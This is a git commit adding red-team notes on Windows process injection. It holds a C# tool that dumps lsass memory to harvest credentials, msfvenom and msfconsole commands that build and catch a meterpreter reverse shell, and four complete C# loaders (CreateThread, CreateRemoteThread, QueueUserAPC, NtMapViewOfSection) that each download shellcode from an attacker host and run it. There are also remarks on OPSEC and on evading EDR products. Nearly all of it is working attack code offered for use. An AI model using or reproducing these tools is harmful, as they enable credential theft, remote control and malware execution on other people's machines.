first commit
This commit is contained in:
@@ -0,0 +1,44 @@
|
||||
- Process Access
|
||||
```
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
```
|
||||
|
||||
- Memory Protection
|
||||
```
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
```
|
||||
|
||||
- Allocation Type
|
||||
```
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
```CSharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.IO;
|
||||
|
||||
namespace Minidump
|
||||
{
|
||||
class Program
|
||||
{
|
||||
[DllImport("Dbghelp.dll")]
|
||||
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
|
||||
static void Main(string[] args)
|
||||
{
|
||||
// Create instance of Process class and use Id method to get PID of lsass
|
||||
|
||||
Process[] lsass = Process.GetProcessesByName("lsass");
|
||||
int lsass_pid = lsass[0].Id;
|
||||
|
||||
// Get handle to lsass
|
||||
|
||||
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
|
||||
|
||||
// Create new file stream to which to write dumpfile
|
||||
|
||||
FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
|
||||
|
||||
// Execute dump and write to file
|
||||
|
||||
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
# Process Injection Intro
|
||||
|
||||
Proc injection to write shellcode bytes into a program and execute the shellcode. These techniques have a range of OPSEC strengths and weaknesses.
|
||||
|
||||
Pull these `.cs` files into a Visual Studio solution and build in order to use them.
|
||||
|
||||
For all of these techniques, we will use a meterpreter payload hosted on a webserver:
|
||||
|
||||
```
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ sudo msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.1.128 LPORT=4444 -f raw > shellcode.bin
|
||||
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ ip -br -c a
|
||||
lo UNKNOWN 127.0.0.1/8 ::1/128
|
||||
eth0 UP 10.10.1.128/24 fe80::20c:29ff:fede:1765/64
|
||||
```
|
||||
|
||||
Host on python server and start msfconsole:
|
||||
|
||||
```
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ msfconsole -x "use multi/handler;set payload windows/x64/meterpreter_reverse_tcp; set LHOST 10.10.1.128; set LPORT 4444; run"an use this or Vanara:
|
||||
```
|
||||
|
||||
Each of these techniques make use of a `Win32.cs` class file that import the types, delegates, and structs needed to call the Win32 API directly. All relevant code for performing the injection itself will be in the main class file within each notebook (i.e. `CreateThread.cs`). You can use them or another P/Invoke method (I recommend Vanara)
|
||||
|
||||
[https://github.com/dahall/Vanara](https://github.com/dahall/Vanara)
|
||||
@@ -0,0 +1,143 @@
|
||||
# CreateRemoteThread
|
||||
|
||||
The classic. Pretty OPSEC unsafe, all things considered. Opens a remote process, maps shellcode bytes into a section of memory (RWX mem), and creates a thread in the remote process to execute.
|
||||
|
||||
`CreateRemoteThread.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Http;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace CreateRemoteThread
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
byte[] shellcode;
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync("http://10.10.1.128/shellcode.bin");
|
||||
|
||||
// Open handle to process
|
||||
var process = Process.GetProcessById(8712);
|
||||
|
||||
// Allocate a region of memory
|
||||
var baseAddress = Win32.VirtualAllocEx(
|
||||
process.Handle,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// Write shellcode into region
|
||||
Win32.WriteProcessMemory(
|
||||
process.Handle,
|
||||
baseAddress,
|
||||
shellcode,
|
||||
shellcode.Length,
|
||||
out _);
|
||||
|
||||
// Flip memory region to RX
|
||||
Win32.VirtualProtectEx(
|
||||
process.Handle,
|
||||
baseAddress,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Create the new thread
|
||||
Win32.CreateRemoteThread(
|
||||
process.Handle,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
baseAddress,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out _);
|
||||
|
||||
// Shellcode is runing in a remote process
|
||||
// no need to stop this process from closing
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace CreateRemoteThread
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateRemoteThread(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,130 @@
|
||||
# CreateThread
|
||||
|
||||
Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline.
|
||||
|
||||
`program.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace CreateThread
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
{
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
}
|
||||
|
||||
// allocate base addr as RW
|
||||
var baseAddr = Win32.VirtualAlloc(
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// copy shellcode into mem
|
||||
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
|
||||
|
||||
// Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _`
|
||||
Win32.VirtualProtect(
|
||||
baseAddr,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Call CreateThread
|
||||
var hThread = Win32.CreateThread(
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
baseAddr,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out _);
|
||||
|
||||
// CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running
|
||||
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace CreateThread
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAlloc(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtect(
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint WaitForSingleObject(
|
||||
IntPtr hHandle,
|
||||
uint dwMilliseconds);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,230 @@
|
||||
# QueueUserAPC
|
||||
|
||||
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
|
||||
|
||||
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
|
||||
|
||||
or
|
||||
|
||||
1. Enumerate threads of an existing process and queue the APC on one of them.
|
||||
1. Wait for that thread to enter an alerted state, or
|
||||
2. Force that thread to enter an alerted state.
|
||||
|
||||
First option is more straight forward.
|
||||
|
||||
`QueueUserAPC.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
var si = new Win32.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
|
||||
var pa = new Win32.SECURITY_ATTRIBUTES();
|
||||
pa.nLength = Marshal.SizeOf(pa);
|
||||
|
||||
var ta = new Win32.SECURITY_ATTRIBUTES();
|
||||
ta.nLength = Marshal.SizeOf(ta);
|
||||
|
||||
var pi = new Win32.PROCESS_INFORMATION();
|
||||
|
||||
var success = Win32.CreateProcessW(
|
||||
"C:\\Windows\\System32\\calc.exe",
|
||||
null,
|
||||
ref ta,
|
||||
ref pa,
|
||||
false,
|
||||
0x00000004, // CREATE_SUSPENDED
|
||||
IntPtr.Zero,
|
||||
"C:\\Windows\\System32",
|
||||
ref si,
|
||||
out pi);
|
||||
|
||||
// If we failed to spawn the process, just bail
|
||||
if (!success)
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error());
|
||||
|
||||
// gather shellcode
|
||||
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
|
||||
// Allocate mem
|
||||
var baseAddress = Win32.VirtualAllocEx(
|
||||
pi.hProcess,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// Write shellcode, discard
|
||||
Win32.WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
shellcode,
|
||||
shellcode.Length,
|
||||
out _);
|
||||
|
||||
// Flip mem protection, discard
|
||||
Win32.VirtualProtectEx(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Queue the APC, discard
|
||||
Win32.QueueUserAPC(
|
||||
baseAddress,
|
||||
pi.hThread,
|
||||
0);
|
||||
|
||||
// Resume thread
|
||||
Win32.ResumeThread(pi.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public IntPtr lpReserved;
|
||||
public IntPtr lpDesktop;
|
||||
public IntPtr lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool CreateProcessW(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint QueueUserAPC(
|
||||
IntPtr pfnAPC,
|
||||
IntPtr hThread,
|
||||
uint dwData);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint ResumeThread(
|
||||
IntPtr hThread);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,140 @@
|
||||
# NtMapViewOfSection
|
||||
|
||||
Nt*Section APIs are undocumented but can be powerful alternatives to VirtualAllocEx, WriteProcMem and VirtProtectEx
|
||||
|
||||
[NTAPI Undocumented Functions](http://undocumented.ntinternals.net/index.html)
|
||||
|
||||
`program.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace NtMapViewOfSection
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
// as before, fetch shellcode
|
||||
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
|
||||
// create section within our current process as large as the shellcode size
|
||||
var hSection = IntPtr.Zero;
|
||||
var maxSize = (ulong)shellcode.Length;
|
||||
Native.NtCreateSection(
|
||||
ref hSection,
|
||||
0x10000000, // SECTION_ALL_ACCESS
|
||||
IntPtr.Zero,
|
||||
ref maxSize,
|
||||
0x40, // PAGE_EXECUTE_READWRITE
|
||||
0x08000000,
|
||||
IntPtr.Zero);
|
||||
|
||||
// Map the view o that section into the memory of the current proc as RW
|
||||
Native.NtMapViewOfSection(
|
||||
hSection,
|
||||
(IntPtr)(-1), // targets the current process
|
||||
out var localBaseAddress,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
out var _,
|
||||
2, // ViewUnpat (created view will not be inherited by child process
|
||||
0,
|
||||
0x04); // PAGE_READWRITE
|
||||
|
||||
// Copy shellcode into memory of our own process
|
||||
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
|
||||
|
||||
// Get reference to target process (do this with the args IRL)
|
||||
var target = Process.GetProcessById(7064);
|
||||
|
||||
// Map this region into the target process as RX
|
||||
Native.NtMapViewOfSection(
|
||||
hSection,
|
||||
target.Handle,
|
||||
out var remoteBaseAddress,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
out _,
|
||||
2,
|
||||
0,
|
||||
0x20); // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// Shellcode is now in the target process so execute it with a new thread
|
||||
Native.NtCreateThreadEx(
|
||||
out _,
|
||||
0x001F0000, // STANDARD_RIGHTS_ALL
|
||||
IntPtr.Zero,
|
||||
target.Handle,
|
||||
remoteBaseAddress,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Native.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace NtMapViewOfSection
|
||||
{
|
||||
internal class Native
|
||||
{
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtCreateSection(
|
||||
ref IntPtr SectionHandle,
|
||||
uint DesiredAccess,
|
||||
IntPtr ObjectAttributes,
|
||||
ref ulong MaximumSize,
|
||||
uint SectionPageProtection,
|
||||
uint AllocationAttributes,
|
||||
IntPtr FileHandle);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtMapViewOfSection(
|
||||
IntPtr SectionHandle,
|
||||
IntPtr ProcessHandle,
|
||||
out IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr CommitSize,
|
||||
IntPtr SectionOffset,
|
||||
out ulong ViewSize,
|
||||
uint InheritDisposition,
|
||||
uint AllocationType,
|
||||
uint Win32Protect);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtCreateThreadEx(
|
||||
out IntPtr threadHandle,
|
||||
uint desiredAccess,
|
||||
IntPtr objectAttributes,
|
||||
IntPtr processHandle,
|
||||
IntPtr startAddress,
|
||||
IntPtr parameter,
|
||||
bool createSuspended,
|
||||
int stackZeroBits,
|
||||
int sizeOfStack,
|
||||
int maximumStackSize,
|
||||
IntPtr attributeList);
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,3 @@
|
||||
# Epilogue
|
||||
|
||||
Think of all the APIs we've covered like items on a menu. You can mix and match them to create your own style of injection. For instance, you could spawn a process in a suspended state, use the Nt*Section APIs to map and copy the shellcode, and then QueueUserAPC or NtQueueApcThread to execute it.
|
||||
@@ -0,0 +1,18 @@
|
||||
# Process Injection
|
||||
|
||||
Description: Methods of process injection and their OPSEC considerations
|
||||
Done: Yes
|
||||
|
||||
---
|
||||
|
||||
[Process Injection Intro](1.%20Introduction.md)
|
||||
|
||||
[CreateThread](3.%20CreateThread.md)
|
||||
|
||||
[CreateRemoteThread](2.%20CreateRemoteThread.md)
|
||||
|
||||
[4. QueueUserAPC](4.%20QueueUserAPC.md)
|
||||
|
||||
[5. NtMapViewOfSection](5.%20NtMapViewOfSection.md)
|
||||
|
||||
[Epilogue](6.%20Epilogue.md)
|
||||
Reference in New Issue
Block a user